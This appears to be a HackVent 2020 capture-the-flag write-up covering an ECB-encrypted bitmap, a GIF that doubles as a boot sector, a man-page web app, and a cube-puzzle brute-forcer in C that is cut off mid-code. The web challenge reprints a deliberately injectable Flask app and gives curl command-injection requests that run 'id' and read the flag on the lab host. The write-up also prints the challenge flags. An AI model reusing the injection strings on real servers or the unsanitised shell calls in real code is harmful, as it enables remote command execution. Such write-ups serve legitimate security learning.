kali@kali:~/hv20/13$ strings -n 10 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls OLE Package Unknown Creator Microsoft Excel D:\CTFS\HackVent\2020\Source\twelve-steps-of-christmas\part3\resources\part9 C:\Users\bread\AppData\Local\Temp\{D7B743FA-2123-41EA-A49F-4B7EF5005334}\part9 1f9d8c53c2b0a15386cc972f5cd49d0a25e203051c30ee4492836c4ba141 d17c08d294ee453501641e0819d7a5950d37ec32fc21f6af97303b6cb811 a0464a85025e566e7da8c30a8cae553977f6fcd960cdb23d99ce9c91b461 430a0686da70c046a28e1533041464421694a74fa03abdfeec3a14acd0af 64bf8a29208693255d8a3ca51d1bb6ec5cb362f1daad8b962fddb37ff3ea ...

After extracting the hex sequence to a single file ...

kali@kali:~/hv20/13$ cat out.txt 1f9d8c53c2b0a15386cc972f5cd49d0a25e203051c30ee4492836c4ba141 d17c08d294ee453501641e0819d7a5950d37ec32fc21f6af97303b6cb811 ... 0103200830400e4f000752100b41d00eb5900b774009dc900563100f59f0 07b0e00a4100

... we can convert it to a raw binary file using xxd:

kali@kali:~/hv20/13$ cat out.txt|xxd -r -p > out_raw

Now file stats that the file is compress'd data:

kali@kali:~/hv20/13$ file out_raw out_raw: compress'd data 12 bits

In order to extract the file, we rename it to have a .z extension and use uncompress:

kali@kali:~/hv20/13$ mv out_raw out.z kali@kali:~/hv20/13$ uncompress out.z

The extracted file is openssl encrypted:

kali@kali:~/hv20/13$ file out out: openssl enc'd data with salted password

If we view the file with hexdump, we can see that there are repetitive patterns:

kali@kali:~/hv20/13$ hexdump -C out 00000000 53 61 6c 74 65 64 5f 5f 5c ea a7 a1 22 1f 14 38 |Salted__\..."..8| 00000010 30 77 91 72 c8 5b 85 83 d1 3e 82 9a e9 2f d5 02 |0w.r.[...>.../..| 00000020 64 0f 42 e3 5d ad 36 6e ec 19 7f c4 ff bd c2 76 |d.B.].6n.......v| 00000030 6c dc 04 d4 a4 2a 0a bc 56 b7 1f 75 ac 60 ba ab |l....*..V..u.`..| 00000040 56 b7 1f 75 ac 60 ba ab 0d 6b cb 7b 99 67 67 92 |V..u.`...k.{.gg.| 00000050 1b 1b 29 0c 86 6d 1c d8 24 75 56 66 04 0a 99 c8 |..)..m..$uVf....| 00000060 56 b7 1f 75 ac 60 ba ab 56 b7 1f 75 ac 60 ba ab |V..u.`..V..u.`..| * 00000080 56 b7 1f 75 ac 60 ba ab 62 05 62 9c 96 ba 8a 9e |V..u.`..b.b.....| 00000090 56 b7 1f 75 ac 60 ba ab 56 b7 1f 75 ac 60 ba ab |V..u.`..V..u.`..| * 000000d0 56 b7 1f 75 ac 60 ba ab 7a f2 dc 07 bc 83 86 49 |V..u.`..z......I| 000000e0 f6 4d 85 7b 55 c7 cc e3 e8 b5 2a 67 46 55 81 65 |.M.{U.....*gFU.e| 000000f0 97 2c d4 20 7d 13 2d d2 43 8b 95 32 d6 43 97 22 |.,. }.-.C..2.C."| 00000100 ba 57 45 2b 37 b9 81 fb 03 68 bf b0 06 dd d0 f2 |.WE+7....h......| 00000110 75 f3 f1 1b 98 ef 03 03 fa 19 23 32 be 10 d5 24 |u.........#2...$| 00000120 dc c0 f2 e2 1e 2e 05 25 fd c3 59 3e a8 6d 2f bc |.......%..Y>.m/.| 00000130 07 b5 76 fe ff af fc ba 95 50 97 a7 3f c0 fd b9 |..v......P..?...| 00000140 85 90 26 5c ed 24 2d bb 0a 96 94 f6 5b 8e 14 e4 |..&\.$-.....[...| 00000150 25 68 21 5b 61 5b 04 cd 47 f2 01 c4 06 f7 94 b3 |%h![a[..G.......| 00000160 21 79 5b d9 a1 a0 09 8c f1 c4 45 f5 5e 7b f1 28 |!y[.......E.^{.(| 00000170 6d 77 c9 63 79 6c 4e 96 56 b7 1f 75 ac 60 ba ab |mw.cylN.V..u.`..| 00000180 56 b7 1f 75 ac 60 ba ab 56 b7 1f 75 ac 60 ba ab |V..u.`..V..u.`..| * 00000850 56 b7 1f 75 ac 60 ba ab b6 b8 b8 83 d8 93 62 b2 |V..u.`........b.| 00000860 1e f1 d1 24 98 d8 a9 99 e2 3f fe 47 01 6c 2f 5a |...$.....?.G.l/Z| ...

The repetitive patterns in the encrypted data is an indicator that ECB was used to encrypt it. After a little bit of googling I found this CTF writeup, which deals with an openssl encrypted bitmap file.

When ECB is used, each block is encrypted independently from each other. Thus same blocks in plaintext will result in the same blocks within the ciphertext. This causes the repetitive patterns.

In the before mentioned writeup a bitmap header is applied to the encrypted data. The resulting bitmap file can be displayed and is actually quite good visible.

At this point the hex sequence from the Comment field comes into play. After storing the bytes in a file, we get another compress'd data file:

kali@kali:~/hv20/13$ hexdump -C seq.z 00000000 1f 9d 8c 42 9a 38 41 24 01 80 41 83 8a 0e f2 39 |...B.8A$..A....9| 00000010 78 42 80 c1 86 06 03 00 00 01 60 c0 41 62 87 0a |xB........`.Ab..| 00000020 1e dc c8 71 23 |...q#| 00000025 kali@kali:~/hv20/13$ file seq.z seq.z: compress'd data 12 bits

Again we can extract the data by using uncompress:

kali@kali:~/hv20/13$ uncompress seq.z

The resulting data is actually a bitmap header:

kali@kali:~/hv20/13$ file seq seq: PC bitmap, Windows 98/2000 and newer format, 551 x 551 x 32 kali@kali:~/hv20/13$ hexdump -C seq 00000000 42 4d 4e 88 12 00 00 00 00 00 8a 00 00 00 7c 00 |BMN...........|.| 00000010 00 00 27 02 00 00 27 02 00 00 01 00 20 00 03 00 |..'...'..... ...| 00000020 00 00 c4 87 12 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 |......| 00000036

By simply prepending the encrypted data with the header ...

kali@kali:~/hv20/13$ cp seq test.bmp kali@kali:~/hv20/13$ cat out >> test.bmp

..., we can clearly see a QR code:

After some tinkering with GIMP and a smartphone QR code scanner I was able to scan the QR code.

The flag is HV20{U>watchout,U>!X,U>!ECB,Im_telln_U_Y.HV2020_is_comin_2_town}.

HV20.14 Santa's Special GIFt

Categories: Reverse Engineering
Author:The Compiler
Today, you got a strange GIFt from Santa:

You are unsure what it is for. You do happen to have some wood lying around, but the tool seems to be made for metal. You notice how it has a rather strange size. You could use it for your fingernails, perhaps? If you keep looking, you might see some other uses...

The provided image shows a file tool and seems to be an ordinary GIF file:

kali@kali:~/hv20/14$ file 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: GIF image data, version 89a, 128 x 16

Running strings on the file reveals a hint:

kali@kali:~/hv20/14$ strings 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif GIF89a ... uvag:--xrrc-tbvat

The string uvag:--xrrc-tbvat is embedded as a comment and can be decoded using ROT13:

Accordingly the string is: hint:--keep-going.

Let's combine this with the content of the image (file):

kali@kali:~/hv20/14$ file --keep-going 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: GIF image data, version 89a, 128 x 16\012- DOS/MBR boot sector\012- DOS/MBR boot sector\012- data

The --keep-going argument makes the file command display all possible file types (not stopping after the first hit with the highest strength).

According to the output, the file is also a valid DOS/MBR boot sector.

In order to use the file as a raw drive, we can use qemu with the following arguments:

kali@kali:~/hv20/14$ qemu-system-x86_64 -drive format=raw,file=5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif

After running the command, the following screen is displayed:

Obviously this is supposed to be a QR code, but we can only see the upper part of it.

In order to understand what the bootloader is doing, we can use objdump to disassemble it:

kali@kali:~/hv20/14$ objdump -D -b binary -mi386 -Maddr16,data16 -M intel 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: file format binary Disassembly of section .data: 00000000 <.data>: 0: 47 inc di 1: 49 dec cx 2: 46 inc si 3: 38 39 cmp BYTE PTR [bx+di],bh 5: 61 popa 6: 80 00 10 add BYTE PTR [bx+si],0x10 9: 00 a1 03 00 add BYTE PTR [bx+di+0x3],ah d: 00 00 add BYTE PTR [bx+si],al f: 00 fe add dh,bh 11: 00 00 add BYTE PTR [bx+si],al ... 1e8: 11 75 76 adc WORD PTR [di+0x76],si 1eb: 61 popa 1ec: 67 3a 2d 2d 78 72 72 addr32 cmp ch,BYTE PTR ds:0x7272782d 1f3: 63 2d arpl WORD PTR [di],bp 1f5: 74 62 je 0x259 1f7: 76 61 jbe 0x25a 1f9: 74 00 je 0x1fb 1fb: 3b 00 cmp ax,WORD PTR [bx+si] 1fd: 00 55 aa add BYTE PTR [di-0x56],dl

An alternative is to use radare2 and set the bit size to 16:

kali@kali:~/hv20/14$ r2 -b 16 -A 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif ... [0000:0000]> pd 100 ;-- ip: ;-- ax: ;-- bx: ;-- cx: ;-- dx: ;-- si: ;-- di: ;-- flags: / (fcn) fcn.00000000 154 | fcn.00000000 (uint32_t arg3, int32_t arg4); | ; arg uint32_t arg3 @ bx | ; arg int32_t arg4 @ cx | 0000:0000 47 inc di | 0000:0001 49 dec cx ; arg4 | 0000:0002 46 inc si | 0000:0003 3839 cmp byte [bx + di], bh ; arg3 ... 0000:00c0 cf iret 0000:00c1 50 push ax 0000:00c2 8a0f mov cl, byte [bx] 0000:00c4 a5 movsw word es:[di], word ptr [si] [0000:0000]>

After getting a quick overview of the assembly the following part looks interesting:

... | .-> 0000:0057 85ff test di, di | ,==< 0000:0059 751e jne 0x79 | |: 0000:005b 81fee000 cmp si, 0xe0 | ,===< 0000:005f 7502 jne 0x63 | ||: 0000:0061 fa cli | ||: 0000:0062 f4 hlt | ||: ; CODE XREF from fcn.00000000 @ 0x5f | `---> 0000:0063 b80d0e mov ax, 0xe0d ; 3597 | |: 0000:0066 cd10 int 0x10 | |: 0000:0068 b00a mov al, 0xa | |: 0000:006a cd10 int 0x10 | |: 0000:006c b91b00 mov cx, 0x1b | |: ; CODE XREF from fcn.00000000 @ 0x74 | .---> 0000:006f b020 mov al, 0x20 ; "!\xfe\xee1\u06f4\x0e\x8a\x87\xf4|\x8a\x8f\x9e|\x84\xc0t\a0\xc8\xcd\x10C\xeb\xed\xb8" | :|: 0000:0071 cd10 int 0x10 | :|: 0000:0073 49 dec cx | `===< 0000:0074 75f9 jne 0x6f | |: ; DATA XREF from fcn.00000000 @ +0xf7 | |: 0000:0076 bf1900 mov di, 0x19 | |: ; CODE XREF from fcn.00000000 @ 0x59 | `--> 0000:0079 89f1 mov cx, si | : 0000:007b 21d1 and cx, dx | : 0000:007d 01c9 add cx, cx | : 0000:007f 89f3 mov bx, si | : 0000:0081 c1eb02 shr bx, 2 | : 0000:0084 8baf9e7c mov bp, word [bx + 0x7c9e] | : 0000:0088 d3ed shr bp, cl | : 0000:008a 21d5 and bp, dx | : ; DATA XREF from fcn.00000000 @ +0xaf | : 0000:008c 8a86f07c mov al, byte [bp + 0x7cf0] | : 0000:0090 cd10 int 0x10 | : 0000:0092 4f dec di | : 0000:0093 4e dec si | `=< 0000:0094 75c1 jne 0x57 ...

This seems to be the loop, which outputs the QR code.

The following instructions at the top of the loop make the bootloader stop (hlt), if si is equal to 0xe0:

... | |: 0000:005b 81fee000 cmp si, 0xe0 | ,===< 0000:005f 7502 jne 0x63 | ||: 0000:0061 fa cli | ||: 0000:0062 f4 hlt ...

If we increase 0xe0 to e.g. 0x1e0, the loop will probably keep iterating. Let's do this using hexeditor:

If we now run the modified file we get the full QR code:

At last the only need to take a screenshot and scan it:

kali@kali:~/hv20/14$ zbarimg qemu_screen.png QR-Code:HV20{54n74'5-m461c-b00t-l04d3r}

The flag is HV20{54n74'5-m461c-b00t-l04d3r}.

HV20.15 Man Commands, Server Lost

Categories: Penetratin Testing
Web Security
Elf4711 has written a cool front end for the linux man pages. Soon after publishing he got pwned. In the meantime he found out the reason and improved his code. So now he is sure it's unpwnable.


You need to start the web application from the RESOURCES section on top
This challenge requires a VPN connection into the Hacking-Lab. Check out the document in the RESOURCES section.


Don't miss the source code link on the man page

The provided webpage is an online man page service:

As stated in the hint, there is a link to the source code at the bottom of the page. The source code looks like this:

# flask_web/app.py from flask import Flask,render_template,redirect, url_for, request import os import subprocess import re app = Flask(__name__) class ManPage: def __init__(self, name, section, description): self.name = name self.section = section self.description = description @app.route('/') def main(): return redirect('/man/1/man') @app.route('/section/') @app.route('/section/<nr>') def section(nr="1"): ret = os.popen('apropos -s ' + nr + " .").read() return render_template('section.html', commands=parseCommands(ret), nr=nr) @app.route('/man/') @app.route('/man/<section>/<command>') def manpage(section=1, command="bash"): manFile = "/usr/share/man/man" + str(section) + "/" + command + "." + str(section) + ".gz" cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml' try: result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE) except subprocess.CalledProcessError as grepexc: return render_template('manpage.html', command=command, manpage="NOT FOUND") html = result.stdout.decode("utf-8") htmlLinked = re.sub(r'(<b>|<i>)?([a-zA-Z0-9-_.]+)(</b>|</i>)?\(([1-8])\)', r'<a href="/man/\4/\2">\1\2\3</a><a href="/section/\4">(\4)</a>', html) htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')] return render_template('manpage.html', command=command, manpage=htmlStripped) @app.route('/search/', methods=["POST"]) def search(search="bash"): search = request.form.get('search') # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore searchClean = re.sub(r"[;& ()$|]", "", search) ret = os.popen('apropos "' + searchClean + '"').read() return render_template('result.html', commands=parseCommands(ret), search=search) def parseCommands(ret): commands = [] for line in ret.split('\n'): l = line.split(' - ') if (len(l) > 1): m = l[0].split(); manPage = ManPage(m[0], m[1].replace('(', '').replace(')',''), l[1]) commands.append(manPage) return commands if __name__ == "__main__": app.run(host='' , port=7777)

I did not use the VPN, since it was not required in order to run arbitrary commands and get the result back.

The first noticable part of the source code is the /search/ route:

@app.route('/search/', methods=["POST"]) def search(search="bash"): search = request.form.get('search') # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore searchClean = re.sub(r"[;& ()$|]", "", search) ret = os.popen('apropos "' + searchClean + '"').read() return render_template('result.html', commands=parseCommands(ret), search=search)

User input (the POST-parameter search) is passed to os.popen. Though the input is filtered beforehand.

The second more promising part is the route /man/<section>/<command>:

@app.route('/man/<section>/<command>') def manpage(section=1, command="bash"): manFile = "/usr/share/man/man" + str(section) + "/" + command + "." + str(section) + ".gz" cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml' try: result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE) except subprocess.CalledProcessError as grepexc: return render_template('manpage.html', command=command, manpage="NOT FOUND") html = result.stdout.decode("utf-8") htmlLinked = re.sub(r'(<b>|<i>)?([a-zA-Z0-9-_.]+)(</b>|</i>)?\(([1-8])\)', r'<a href="/man/\4/\2">\1\2\3</a><a href="/section/\4">(\4)</a>', html) htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')] return render_template('manpage.html', command=command, manpage=htmlStripped)

At first the filename of the man page to retrieve is stored in the variable manFile. Both user controllable parameters section and command are part of this variable.

At next the variable cmd is created, which contains manFile.

Finally the string stored in cmd is executed as a command:

result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)

The output of the command (which is supposed to be html produced by groff) is filtered before it is returned to the user. The import line here is the following:

htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')]

This line extracts the output within the HTML <body> tag.

Since the user controllable parameters are not filtered, we can simply inject OS commands. The only thing we need to ensure is that the output we produce is prepended by an HTML <body> tag (otherwise it will not be displayed).

In order to do this we can simply use echo:

kali@kali:~/hv20/15$ curl 'https://ba296e32-52f4-4c27-8cdc-d8bc939ed642.idocker.vuln.land/man/8/;echo%20"<body>";id;' ... uid=1000(runner) gid=1000(runner) groups=1000(runner) <!-- Creator : groff version 1.22.4 --> <!-- CreationDate: Tue Dec 15 15:08:45 2020 --> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" ...

The parameter we inject into is command. The ; (semicolon) separates the single commands. The echo%20"<body>" at the beginning ensures that we can see the output of the following commands (in this case id). Using the same technique we can retrieve the flag:

kali@kali:~/hv20/15$ curl 'https://ba296e32-52f4-4c27-8cdc-d8bc939ed642.idocker.vuln.land/man/8/;echo%20"<body>";cat%20flag;' ... HV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}<!-- Creator : groff version 1.22.4 --> ...

The flag is HV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}.

HV20.16 Naughty Rudolph

Categories: Fun
Santa loves to keep his personal secrets on a little toy cube he got from a kid called Bread. Turns out that was not a very good idea. Last night Rudolph got hold of it and frubl'd it about five times before spitting it out. Look at it! All the colors have come off! Naughty Rudolph!



The flag matches /^HV20{[a-z3-7_@]+}$/ and is read face by face, from left to right, top to bottom
The cube has been scrambled with ~5 moves in total
jElf has already started trying to solve the problem, however he got lost with all the numbers. Feel free to use his current state if you don't want to start from scratch...

Well, this was one of those challenges, where it is absolutely clear what you are supposed to do. It is just not too easy to do that.

In this case the provided STL file contains a rubix cube, which can for example be examined using an online viewer:

Instead of colors each little sub cube contains a letter of the flag. Since the flag is supposed to be read face by face from left to right, the orientations of the letters are very important.

The basic idea is pretty simple: we implement a program, which bruteforces all possible 5 moves. In the resulting state of the cube after 5 moves, the program determines if all letters on the same face have the same orientation. If that is the case, it is a possible solution.

It really took me some time, because this challenge did not require a fast rush, but an accurately implemented program.

I used C to implement the bruteforcer:

kali@kali:~/hv20/16$ cat craxx0r.c #include <stdio.h> #include <stdlib.h> #include <string.h> #define c(x) x[0] #define d(x) x[1] #define T q[0] #define F q[1] #define D q[2] #define B q[3] #define L q[4] #define R q[5] #define rot_p1(x) ((x+1)%4) #define rot_m1(x) ((x+3)%4) #define T2F(x) ((x+2)%4) #define T2B(x) ((x+2)%4) #define T2L(x) (x) #define T2R(x) (x) #define F2T(x) ((x+2)%4) #define F2D(x) ((x+2)%4) #define F2L(x) ((x+3)%4) #define F2R(x) ((x+1)%4) #define D2F(x) ((x+2)%4) #define D2B(x) ((x+2)%4) #define D2L(x) ((x+2)%4) #define D2R(x) ((x+2)%4) #define B2T(x) ((x+2)%4) #define B2D(x) ((x+2)%4) #define B2L(x) ((x+1)%4) #define B2R(x) ((x+3)%4) #define L2T(x) (x) #define L2F(x) ((x+1)%4) #define L2D(x) ((x+2)%4) #define L2B(x) ((x+3)%4) #define R2T(x) (x) #define R2F(x) ((x+3)%4) #define R2D(x) ((x+2)%4) #define R2B(x) ((x+1)%4) char q[6][9][2]; char _q[6][9][2] = { {{'i',3},{'s',1},{'l',3}, {'n',3},{'s',3},{'o',2}, {'2',0},{'c',3},{'_',2}}, // T {{'h',0},{'p',1},{'}',3}, {'t',1},{'l',1},{'l',3}, {'s',1},{'n',1},{'_',3}}, // F {{'a',2},{'d',2},{'c',1}, {'_',1},{'k',1},{'0',0}, {'e',1},{'w',1},{'_',1}}, // D {{'6',1},{'_',3},{'e',1}, {'i',1},{'{',2},{'a',2}, {'e',3},{'s',3},{'3',3}}, // B {{'s',0},{'_',0},{'5',3}, {'@',0},{'t',0},{'r',2}, {'o',3},{'_',3},{'4',0}}, // L {{'o',2},{'h',2},{'H',2}, {'a',0},{'_',3},{'V',2}, {'_',0},{'e',3},{'7',2}}, // R }; void reset_q() { for (int i = 0; i < 9; i++) { T[i][0] = _q[0][i][0]; T[i][1] = _q[0][i][1]; F[i][0] = _q[1][i][0]; F[i][1] = _q[1][i][1]; D[i][0] = _q[2][i][0]; D[i][1] = _q[2][i][1]; B[i][0] = _q[3][i][0]; B[i][1] = _q[3][i][1]; L[i][0] = _q[4][i][0]; L[i][1] = _q[4][i][1]; R[i][0] = _q[5][i][0]; R[i][1] = _q[5][i][1]; } } void read_blocks() { printf("%c%c%c%c%c%c%c%c%c", c(B[0]),c(B[1]),c(B[2]),c(B[3]),c(B[4]),c(B[5]),c(B[6]),c(B[7]),c(B[8])); printf("%c%c%c%c%c%c%c%c%c", c(R[2]),c(R[5]),c(R[8]),c(R[1]),c(R[4]),c(R[7]),c(R[0]),c(R[3]),c(R[6])); printf("%c%c%c%c%c%c%c%c%c", c(D[8]),c(D[7]),c(D[6]),c(D[5]),c(D[4]),c(D[3]),c(D[2]),c(D[1]),c(D[0])); printf("%c%c%c%c%c%c%c%c%c", c(L[6]),c(L[3]),c(L[0]),c(L[7]),c(L[4]),c(L[1]),c(L[8]),c(L[5]),c(L[2])); printf("%c%c%c%c%c%c%c%c%c", c(T[0]),c(T[1]),c(T[2]),c(T[3]),c(T[4]),c(T[5]),c(T[6]),c(T[7]),c(T[8])); printf("%c%c%c%c%c%c%c%c%c", c(F[8]),c(F[7]),c(F[6]),c(F[5]),c(F[4]),c(F[3]),c(F[2]),c(F[1]),c(F[0])); puts(""); } void rot_right(int idx) { char t0[2] = {q[idx][0][0], q[idx][0][1]}; char t1[2] = {q[idx][1][0], q[idx][1][1]}; char t2[2] = {q[idx][2][0], q[idx][2][1]}; char t5[2] = {q[idx][5][0], q[idx][5][1]}; q[idx][0][0] = q[idx][6][0]; q[idx][0][1] = rot_p1(q[idx][6][1]); q[idx][1][0] = q[idx][3][0]; q[idx][1][1] = rot_p1(q[idx][3][1]); q[idx][2][0] = t0[0]; q[idx][2][1] = rot_p1(t0[1]); q[idx][3][0] = q[idx][7][0]; q[idx][3][1] = rot_p1(q[idx][7][1]); q[idx][4][1] = rot_p1(q[idx][4][1]); q[idx][5][0] = t1[0]; q[idx][5][1] = rot_p1(t1[1]); q[idx][6][0] = q[idx][8][0]; q[idx][6][1] = rot_p1(q[idx][8][1]); q[idx][7][0] = t5[0]; q[idx][7][1] = rot_p1(t5[1]); q[idx][8][0] = t2[0]; q[idx][8][1] = rot_p1(t2[1]); } void rot_left(int idx) { char t0[2] = {q[idx][0][0], q[idx][0][1]}; char t1[2] = {q[idx][1][0], q[idx][1][1]}; char t3[2] = {q[idx][3][0], q[idx][3][1]}; char t6[2] = {q[idx][6][0], q[idx][6][1]}; q[idx][0][0] = q[idx][2][0]; q[idx][0][1] = rot_m1(q[idx][2][1]); q[idx][1][0] = q[idx][5][0]; q[idx][1][1] = rot_m1(q[idx][5][1]); q[idx][2][0] = q[idx][8][0]; q[idx][2][1] = rot_m1(q[idx][8][1]); q[idx][3][0] = t1[0]; q[idx][3][1] = rot_m1(t1[1]); q[idx][4][1] = rot_m1(q[idx][4][1]); q[idx][5][0] = q[idx][7][0]; q[idx][5][1] = rot_m1(q[idx][7][1]); q[idx][6][0] = t0[0]; q[idx][6][1] = rot_m1(t0[1]); q[idx][7][0] = t3[0]; q[idx][7][1] = rot_m1(t3[1]); q[idx][8][0] = t6[0]; q[idx][8][1] = rot_m1(t6[1]); } // front clockwise void do_F() { rot_right(1); char R_0[2] = {R[0][0], R[0][1]}; char R_3[2] = {R[3][0], R[3][1]}; char R_6[2] = {R[6][0], R[6][1]}; // T -> R R[0][0] = T[6][0]; R[0][1] = T2R(T[6][1]); R[3][0] = T[7][0]; R[3][1] = T2R(T[7][1]); R[6][0] = T[8][0]; R[6][1] = T2R(T[8][1]); // L -> T T[6][0] = L[8][0]; T[6][1] = L2T(L[8][1]); T[7][0] = L[5][0]; T[7][1] = L2T(L[5][1]); T[8][0] = L[2][0]; T[8][1] = L2T(L[2][1]); // D -> L L[2][0] = D[0][0]; L[2][1] = D2L(D[0][1]); L[5][0] = D[1][0]; L[5][1] = D2L(D[1][1]); L[8][0] = D[2][0]; L[8][1] = D2L(D[2][1]); // R -> D D[0][0] = R_6[0]; D[0][1] = R2D(R_6[1]); D[1][0] = R_3[0]; D[1][1] = R2D(R_3[1]); D[2][0] = R_0[0]; D[2][1] = R2D(R_0[1]); } void do_F2() { do_F(); do_F(); } // front counter-clockwise void do_Fi() { rot_left(1); char R_0[2] = {R[0][0], R[0][1]}; char R_3[2] = {R[3][0], R[3][1]}; char R_6[2] = {R[6][0], R[6][1]}; // D -> R R[0][0] = D[2][0]; R[0][1] = D2R(D[2][1]); R[3][0] = D[1][0]; R[3][1] = D2R(D[1][1]); R[6][0] = D[0][0]; R[6][1] = D2R(D[0][1]); // L -> D D[0][0] = L[2][0]; D[0][1] = L2D(L[2][1]); D[1][0] = L[5][0]; D[1][1] = L2D(L[5][1]); D[2][0] = L[8][0]; D[2][1] = L2D(L[8][1]); // T -> L L[2][0] = T[8][0]; L[2][1] = T2L(T[8][1]); L[5][0] = T[7][0]; L[5][1] = T2L(T[7][1]); L[8][0] = T[6][0]; L[8][1] = T2L(T[6][1]); // R -> T T[6][0] = R_0[0]; T[6][1] = R2T(R_0[1]); T[7][0] = R_3[0]; T[7][1] = R2T(R_3[1]); T[8][0] = R_6[0]; T[8][1] = R2T(R_6[1]); } // back clockwise void do_B() { rot_left(3); char R_2[2] = {R[2][0], R[2][1]}; char R_5[2] = {R[5][0], R[5][1]}; char R_8[2] = {R[8][0], R[8][1]}; // T -> R R[2][0] = T[0][0]; R[2][1] = T2R(T[0][1]); R[5][0] = T[1][0]; R[5][1] = T2R(T[1][1]); R[8][0] = T[2][0]; R[8][1] = T2R(T[2][1]); // L -> T T[0][0] = L[6][0]; T[0][1] = L2T(L[6][1]); T[1][0] = L[3][0]; T[1][1] = L2T(L[3][1]); T[2][0] = L[0][0]; T[2][1] = L2T(L[0][1]); // D -> L L[6][0] = D[8][0]; L[6][1] = D2L(D[8][1]); L[3][0] = D[7][0]; L[3][1] = D2L(D[7][1]); L[0][0] = D[6][0]; L[0][1] = D2L(D[6][1]); // R -> D D[8][0] = R_2[0]; D[8][1] = R2D(R_2[1]); D[7][0] = R_5[0]; D[7][1] = R2D(R_5[1]); D[6][0] = R_8[0]; D[6][1] = R2D(R_8[1]); } void do_B2() { do_B(); do_B(); } // back counter-clockwise void do_Bi() { rot_right(3); char R_2[2] = {R[2][0], R[2][1]}; char R_5[2] = {R[5][0], R[5][1]}; char R_8[2] = {R[8][0], R[8][1]}; // D -> R R[2][0] = D[8][0]; R[2][1] = D2R(D[8][1]); R[5][0] = D[7][0]; R[5][1] = D2R(D[7][1]); R[8][0] = D[6][0]; R[8][1] = D2R(D[6][1]); // L -> D D[8][0] = L[6][0]; D[8][1] = L2D(L[6][1]); D[7][0] = L[3][0]; D[7][1] = L2D(L[3][1]); D[6][0] = L[0][0]; D[6][1] = L2D(L[0][1]); // T -> L L[6][0] = T[0][0]; L[6][1] = T2L(T[0][1]); L[3][0] = T[1][0]; L[3][1] = T2L(T[1][1]); L[0][0] = T[2][0]; L[0][1] = T2L(T[2][1]); // R -> T T[0][0] = R_2[0]; T[0][1] = R2T(R_2[1]); T[1][0] = R_5[0]; T[1][1] = R2T(R_5[1]); T[2][0] = R_8[0]; T[2][1] = R2T(R_8[1]); } // left forward void do_L() { rot_right(4); char T_0[2] = {T[0][0], T[0][1]}; char T_3[2] = {T[3][0], T[3][1]}; char T_6[2] = {T[6][0], T[6][1]}; // B -> T T[0][0] = B[8][0]; T[0][1] = B2T(B[8][1]); T[3][0] = B[5][0]; T[3][1] = B2T(B[5][1]); T[6][0] = B[2][0]; T[6][1] = B2T(B[2][1]); // D -> B B[8][0] = D[0][0]; B[8][1] = D2B(D[0][1]); B[5][0] = D[3][0]; B[5][1] = D2B(D[3][1]); B[2][0] = D[6][0]; B[2][1] = D2B(D[6][1]); // F -> D D[0][0] = F[0][0]; D[0][1] = F2D(F[0][1]); D[3][0] = F[3][0]; D[3][1] = F2D(F[3][1]); D[6][0] = F[6][0]; D[6][1] = F2D(F[6][1]); // T -> F F[0][0] = T_0[0]; F[0][1] = T2F(T_0[1]); F[3][0] = T_3[0]; F[3][1] = T2F(T_3[1]); F[6][0] = T_6[0]; F[6][1] = T2F(T_6[1]); } void do_L2() { do_L(); do_L(); } // left backward void do_Li() { rot_left(4); char T_0[2] = {T[0][0], T[0][1]}; char T_3[2] = {T[3][0], T[3][1]}; char T_6[2] = {T[6][0], T[6][1]}; // F -> T T[0][0] = F[0][0]; T[0][1] = F2T(F[0][1]); T[3][0] = F[3][0]; T[3][1] = F2T(F[3][1]); T[6][0] = F[6][0]; T[6][1] = F2T(F[6][1]); // D -> F F[0][0] = D[0][0]; F[0][1] = D2F(D[0][1]); F[3][0] = D[3][0]; F[3][1] = D2F(D[3][1]); F[6][0] = D[6][0]; F[6][1] = D2F(D[6][1]); // B -> D D[0][0] = B[8][0]; D[0][1] = B2D(B[8][1]); D[3][0] = B[5][0]; D[3][1] = B2D(B[5][1]); D[6][0] = B[2][0]; D[6][1] = B2D(B[2][1]); // T -> B B[8][0] = T_0[0]; B[8][1] = T2B(T_0[1]); B[5][0] = T_3[0]; B[5][1] = T2B(T_3[1]); B[2][0] = T_6[0]; B[2][1] = T2B(T_6[1]); } // right forward void do_R() { rot_left(5); char T_2[2] = {T[2][0], T[2][1]}; char T_5[2] = {T[5][0], T[5][1]}; char T_8[2] = {T[8][0], T[8][1]}; // B -> T T[2][0] = B[6][0]; T[2][1] = B2T(B[6][1]); T[5][0] = B[3][0]; T[5][1] = B2T(B[3][1]); T[8][0] = B[0][0]; T[8][1] = B2T(B[0][1]); // D -> B B[6][0] = D[2][0]; B[6][1] = D2B(D[2][1]); B[3][0] = D[5][0]; B[3][1] = D2B(D[5][1]); B[0][0] = D[8][0]; B[0][1] = D2B(D[8][1]); // F -> D D[2][0] = F[2][0]; D[2][1] = F2D(F[2][1]); D[5][0] = F[5][0]; D[5][1] = F2D(F[5][1]); D[8][0] = F[8][0]; D[8][1] = F2D(F[8][1]); // T -> F F[2][0] = T_2[0]; F[2][1] = T2F(T_2[1]); F[5][0] = T_5[0]; F[5][1] = T2F(T_5[1]); F[8][0] = T_8[0]; 